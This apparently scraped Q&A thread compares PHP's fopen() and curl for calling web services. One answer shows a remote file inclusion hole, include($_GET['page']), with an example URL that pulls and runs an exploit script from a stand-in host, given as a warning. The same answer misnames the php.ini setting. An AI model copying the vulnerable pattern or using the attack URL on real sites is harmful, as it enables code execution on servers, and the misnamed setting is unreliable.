What are the important differences between using f

2019-01-25 19:36发布

问题:

I'm writing some code that will need to speak to a web service over HTTP(s). In the past I've used the curl library. Recently, I noticed that I can simply use fopen() to access a remote URL and it seems far simpler.

Curl seems to be much more configurable, having a plethora of options. Beyond that configurability, does it matter which method is used? If so, which is better and why?

回答1:

fopen() will only open remote URLs if allow_fopen_url is enabled in php.ini.

However in versions prior to 5.2.0, this was exceedingly dangerous because the include function would also download and parse PHP code from remote sites. A naive coder could easily be caught out with code like:

<?php
    $page = $_GET['page'];
    include($page);
?>

at which point an attacker just has to ask for http://example.com/script.php?page=http://example.net/my_exploit_script to execute their own code on the system and introduce an exploit. Unfortunately the default value for allow_fopen_url is 'on'.

Fortunately, since 5.2.0 there's a separate setting (which should default to 'off') called allow_url_include which prevents include from downloading remote code.

Personally, if you've got the option to use Curl, use that rather than fopen.



回答2:

As Alnitak said, using CURL does not depend on the PHP settings. I've done some speed tests

file_get_contents

with my

function file_get_contents_curl($url) {
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);

    $data = curl_exec($ch);
    curl_close($ch);

    return $data;
}

Result:

0.263456821442
0.0626730918884

CURL is 4 times faster :)



回答3:

side note: PHP can be configured to use curl for the http url_wrapper instead of using "its own" implementation.

ext/curl/interface.c:

#ifdef PHP_CURL_URL_WRAPPERS
# if HAVE_CURL_VERSION_INFO
    {
        curl_version_info_data *info = curl_version_info(CURLVERSION_NOW);
        char **p = (char **)info->protocols;

        while (*p != NULL) {
            php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC);
        }
    }
# else
    php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC);
    php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC);
    php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC);
    php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC);
# endif
#endif